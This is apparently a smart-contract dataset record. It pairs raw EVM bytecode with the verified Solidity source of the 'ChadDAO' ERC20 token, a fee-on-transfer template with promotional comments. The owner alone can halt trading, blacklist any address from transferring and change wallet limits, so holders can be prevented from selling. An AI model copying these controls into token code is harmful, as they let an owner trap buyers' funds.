7905550565b60045481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561082957600080fd5b8251845114151561083957600080fd5b8151835114151561084957600080fd5b600090505b83518110156108b4576108a7848281518110151561086857fe5b90602001906020020151848381518110151561088057fe5b90602001906020020151848481518110151561089857fe5b906020019060200201516111b1565b808060010191505061084e565b50505050565b6000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008111151561090d57600080fd5b6000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050151561099257600080fd5b7f361d758177a1a273ab3bf5e9ae4cc4f6923af295c0e99ad3d02593c5ab8e62d433604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a5357600080fd5b600060149054906101000a900460ff161515610a6e57600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60008060008060008060008060008060028b815481101515610ad457fe5b9060005260206000209060070201905080600001549950610af88160000154611cb4565b985080600101549750610b33610b0c611d61565b610b256127108460010154611dcb90919063ffffffff16565b611dfe90919063ffffffff16565b96508060020154955080600301549450806004015493508060050160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1692508060060160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169150509193959799909294969850565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c0157600080fd5b600560009054906101000a900460ff161515610c1c57600080fd5b600081111515610c2b57600080fd5b606481101515610c3a57600080fd5b80600c8190555050565b600060149054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cb457600080fd5b600560009054906101000a900460ff161515610ccf57600080fd5b600283815481101515610cde57fe5b90600052602060002090600702019050818160010181905550505050565b600b5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d5d57600080fd5b80600a8190555050565b60076020528060005260406000206000915090505481565b600080600060149054906101000a900460ff16151515610d9e57600080fd5b600283815481101515610dad57fe5b906000526020600020906007020191508160060160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e1b57600080fd5b6000600354111515610e2c57600080fd5b81600401544210151515610e3f57600080fd5b610e6c600454610e5e6003548560020154611dcb90919063ffffffff16565b611dfe90919063ffffffff16565b9050610e8381600354611e1990919063ffffffff16565b600381905550600a548260000154101515610ed157610ec46064610eb6600b548560000154611dcb90919063ffffffff16565b611dfe90919063ffffffff16565b8260000181905550610f20565b610efd6064610eef600c548560000154611dcb90919063ffffffff16565b611dfe90919063ffffffff16565b826000018190555060095482600001541015610f1f5760095482600001819055505b5b338260050160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550603c82600301540242018260040181905550610f7f3382611e32565b7f2218cceca87d9faf8cc3b57bf49c55a8485e836c8ae02819386ccdca6bab626383338385600001548660040154604051808681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018381526020018281526020019550505050505060405180910390a1505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561106c57600080fd5b600560009054906101000a900460ff16151561108757600080fd5b60028381548110151561109657fe5b90600052602060002090600702019050818160020181905550505050565b60086020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561112757600080fd5b600060149054906101000a900460ff1615151561114357600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6111b96121c4565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561121457600080fd5b60e0604051908101604052806009548152602001858152602001848152602001838152602001428152602001600073ffffffffffffffffffffffffffffffffffffffff1681526020013073ffffffffffffffffffffffffffffffffffffffff1681525090506002805480600101828161128d919061222e565b91600052602060002090600702016000839091909150600082015181600001556020820151816001015560408201518160020155606082015181600301556080820151816004015560a08201518160050160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060c08201518160060160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050505050565b60008060008060008060008060008060008060149054906101000a900460ff1615151561139857600080fd5b60028c8154811015156113a757fe5b90600052602060002090600702019a508a60000154995060008a1115156113cd57600080fd5b8934101515156113dc57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff161415151561141757600080fd5b8a60050160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1698508a60060160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1697506114788a34611e1990919063ffffffff16565b9150600073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614156114f357338b60050160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b6114fc8a611f07565b809750819850829950839a505050505061151f878b611e1990919063ffffffff16565b90506115348682611e1990919063ffffffff16565b90506115498582611e1990919063ffffffff16565b905061155e8482611e1990919063ffffffff16565b90506115876064611579600285611dcb90919063ffffffff16565b611dfe90919063ffffffff16565b925061159c8383611e1990919063ffffffff16565b91506115b18385611f9c90919063ffffffff16565b93506115bc8a611cb4565b8b60000181905550338b60060160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506116a0611631600a61162360078b611dcb90919063ffffffff16565b611dfe90919063ffffffff16565b600760008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f9c90919063ffffffff16565b600760008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061179e61172e600a61172060038b611dcb90919063ffffffff16565b611dfe90919063ffffffff16565b60076000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f9c90919063ffffffff16565b60076000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061180c86611fba565b61185e85600860008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f9c90919063ffffffff16565b600860008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118b684600354611f9c90919063ffffffff16565b6003819055503073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff161415156118fc576118fb8882611e32565b5b60008211156119105761190f3383611e32565b5b7fcdf3c356cd1a0a236d7d516f4346546464f1933182a296d2da4bd5dacaeab0d28c89338d8f60000154604051808681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020019550505050505060405180910390a1505050505050505050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a2e57600080fd5b600560009054906101000a900460ff161515611a4957600080fd5b600283815481101515611a5857fe5b90600052602060002090600702019050818160030181905550505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ad157600080fd5b600560009054906101000a900460ff161515611aec57600080fd5b600081111515611afb57600080fd5b606481101515611b0a57600080fd5b80600b8190555050565b6000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600081111515611b6757600080fd5b6000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515611bec57600080fd5b50565b60035481565b600c5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c5657600080fd5b600081111515611c6557600080fd5b8060098190555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b600560009054906101000a900460ff1681565b60095481565b60006703782dace9d90000821015611cf457611ced6064611cdf608c85611dcb90919063ffffffff16565b611dfe90919063ffffffff16565b9050611d5c565b670de0b6b3a7640000821015611d3257611d2b6064611d1d608285611dcb90919063ffffffff16565b611dfe90919063ffffffff16565b9050611d5c565b611d596064611d4b607d85611dcb90919063ffffffff16565b611dfe90919063ffffffff16565b90505b919050565b60008060008060009250600091505b600280549050821015611dc257600282815481101515611d8c57fe5b90600052602060002090600702019050611db3816001015484611f9c90919063ffffffff16565b92508180600101925050611d70565b82935050505090565b60008082840290506000841480611dec5750828482811515611de957fe5b04145b1515611df457fe5b8091505092915050565b6000808284811515611e0c57fe5b0490508091505092915050565b6000828211151515611e2757fe5b818303905092915050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515611f0357611ebf81600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f9c90919063ffffffff16565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b600080600080611f346064611f26600288611dcb90919063ffffffff16565b611dfe90919063ffffffff16565b9350611f5e6103e8611f50601988611dcb90919063ffffffff16565b611dfe90919063ffffffff16565b9250611f886103e8611f7a600588611dcb90919063ffffffff16565b611dfe90919063ffffffff16565b9150611f9385612117565b90509193509193565b6000808284019050838110151515611fb057fe5b8091505092915050565b600080600080611fc8611d61565b9350600092505b60028054905083101561211057600283815481101515611feb57fe5b9060005260206000209060070201915061202484612016846001015488611dcb90919063ffffffff16565b611dfe90919063ffffffff16565b905061209c81600860008560060160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f9c90919063ffffffff16565b600860008460060160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508280600101935050611fcf565b5050505050565b60006703782dace9d90000821015612157576121506064612142600c85611dcb90919063ffffffff16565b611dfe90919063ffffffff16565b90506121bf565b670de0b6b3a76400008210156121955761218e6064612180600b85611dcb90919063ffffffff16565b611dfe90919063ffffffff16565b90506121bf565b6121bc60646121ae600a85611dcb90919063ffffffff16565b611dfe90919063ffffffff16565b90505b919050565b60e0604051908101604052806000815260200160008152602001600081526020016000815260200160008152602001600073ffffffffffffffffffffffffffffffffffffffff168152602001600073ffffffffffffffffffffffffffffffffffffffff1681525090565b81548183558181151161225b5760070281600702836000526020600020918201910161225a9190612260565b5b505050565b6122f291905b808211156122ee5760008082016000905560018201600090556002820160009055600382016000905560048201600090556005820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556006820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905550600701612266565b5090565b905600a165627a7a72305820a43233f5b0f9fe185c55264cf842bb791058a4bdcdddf0b58ce6219bd07e43280029
|
{"success": true, "error": null, "results": {}}
| 3,329 |
0x49d461589cdeb1e15eed5463d53115a46cf069bf
|
/**
*Submitted for verification at Etherscan.io on 2022-04-11
*/
/**
CHAD DAO
The first DAO-oriented project for all of the Chads in ERC20.
Chad Dao is a community of daring individuals who aspire to shape the future of Web3 and
expand the Web3 ecosystem together with a network of Web3 industry leaders and Chad community.
Chad DAO aims to be a massive ecosystem of decentralized applications that capture value regardless of
which chains or sectors dominate Web3 in the future.
Telegram : https://t.me/ChadDao
Website : https://ChadDao.net
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ChadDAO is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "ChadDAO";
string private constant _symbol = "CDAO";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 7;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 7;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xc2Ff09BB9201ccaEA5202DE01d980616fc9EB522);
address payable private _marketingAddress = payable(0xc2Ff09BB9201ccaEA5202DE01d980616fc9EB522);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000 * 10**9;
uint256 public _maxWalletSize = 20000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101ba5760003560e01c80637d1db4a5116100ec578063a9059cbb1161008a578063c492f04611610064578063c492f046146104fb578063dd62ed3e1461051b578063ea1644d514610561578063f2fde38b1461058157600080fd5b8063a9059cbb14610496578063bfd79284146104b6578063c3c8cd80146104e657600080fd5b80638f70ccf7116100c65780638f70ccf7146104135780638f9a55c01461043357806395d89b411461044957806398a5c3151461047657600080fd5b80637d1db4a5146103b25780637f2feddc146103c85780638da5cb5b146103f557600080fd5b8063313ce567116101595780636d8aa8f8116101335780636d8aa8f8146103485780636fc3eaec1461036857806370a082311461037d578063715018a61461039d57600080fd5b8063313ce567146102ec57806349bd5a5e146103085780636b9990531461032857600080fd5b80631694505e116101955780631694505e1461025a57806318160ddd1461029257806323b872dd146102b65780632fd689e3146102d657600080fd5b8062b8cf2a146101c657806306fdde03146101e8578063095ea7b31461022a57600080fd5b366101c157005b600080fd5b3480156101d257600080fd5b506101e66101e1366004611896565b6105a1565b005b3480156101f457600080fd5b506040805180820190915260078152664368616444414f60c81b60208201525b604051610221919061195b565b60405180910390f35b34801561023657600080fd5b5061024a6102453660046119b0565b610640565b6040519015158152602001610221565b34801561026657600080fd5b5060145461027a906001600160a01b031681565b6040516001600160a01b039091168152602001610221565b34801561029e57600080fd5b5066038d7ea4c680005b604051908152602001610221565b3480156102c257600080fd5b5061024a6102d13660046119dc565b610657565b3480156102e257600080fd5b506102a860185481565b3480156102f857600080fd5b5060405160098152602001610221565b34801561031457600080fd5b5060155461027a906001600160a01b031681565b34801561033457600080fd5b506101e6610343366004611a1d565b6106c0565b34801561035457600080fd5b506101e6610363366004611a4a565b61070b565b34801561037457600080fd5b506101e6610753565b34801561038957600080fd5b506102a8610398366004611a1d565b61079e565b3480156103a957600080fd5b506101e66107c0565b3480156103be57600080fd5b506102a860165481565b3480156103d457600080fd5b506102a86103e3366004611a1d565b60116020526000908152604090205481565b34801561040157600080fd5b506000546001600160a01b031661027a565b34801561041f57600080fd5b506101e661042e366004611a4a565b610834565b34801561043f57600080fd5b506102a860175481565b34801561045557600080fd5b506040805180820190915260048152634344414f60e01b6020820152610214565b34801561048257600080fd5b506101e6610491366004611a65565b61087c565b3480156104a257600080fd5b5061024a6104b13660046119b0565b6108ab565b3480156104c257600080fd5b5061024a6104d1366004611a1d565b60106020526000908152604090205460ff1681565b3480156104f257600080fd5b506101e66108b8565b34801561050757600080fd5b506101e6610516366004611a7e565b61090c565b34801561052757600080fd5b506102a8610536366004611b02565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561056d57600080fd5b506101e661057c366004611a65565b6109ad565b34801561058d57600080fd5b506101e661059c366004611a1d565b6109dc565b6000546001600160a01b031633146105d45760405162461bcd60e51b81526004016105cb90611b3b565b60405180910390fd5b60005b815181101561063c576001601060008484815181106105f8576105f8611b70565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061063481611b9c565b9150506105d7565b5050565b600061064d338484610ac6565b5060015b92915050565b6000610664848484610bea565b6106b684336106b185604051806060016040528060288152602001611cb6602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611126565b610ac6565b5060019392505050565b6000546001600160a01b031633146106ea5760405162461bcd60e51b81526004016105cb90611b3b565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107355760405162461bcd60e51b81526004016105cb90611b3b565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316148061078857506013546001600160a01b0316336001600160a01b0316145b61079157600080fd5b4761079b81611160565b50565b6001600160a01b0381166000908152600260205260408120546106519061119a565b6000546001600160a01b031633146107ea5760405162461bcd60e51b81526004016105cb90611b3b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461085e5760405162461bcd60e51b81526004016105cb90611b3b565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108a65760405162461bcd60e51b81526004016105cb90611b3b565b601855565b600061064d338484610bea565b6012546001600160a01b0316336001600160a01b031614806108ed57506013546001600160a01b0316336001600160a01b0316145b6108f657600080fd5b60006109013061079e565b905061079b8161121e565b6000546001600160a01b031633146109365760405162461bcd60e51b81526004016105cb90611b3b565b60005b828110156109a757816005600086868581811061095857610958611b70565b905060200201602081019061096d9190611a1d565b6001600160a01b03168152602081019190915260400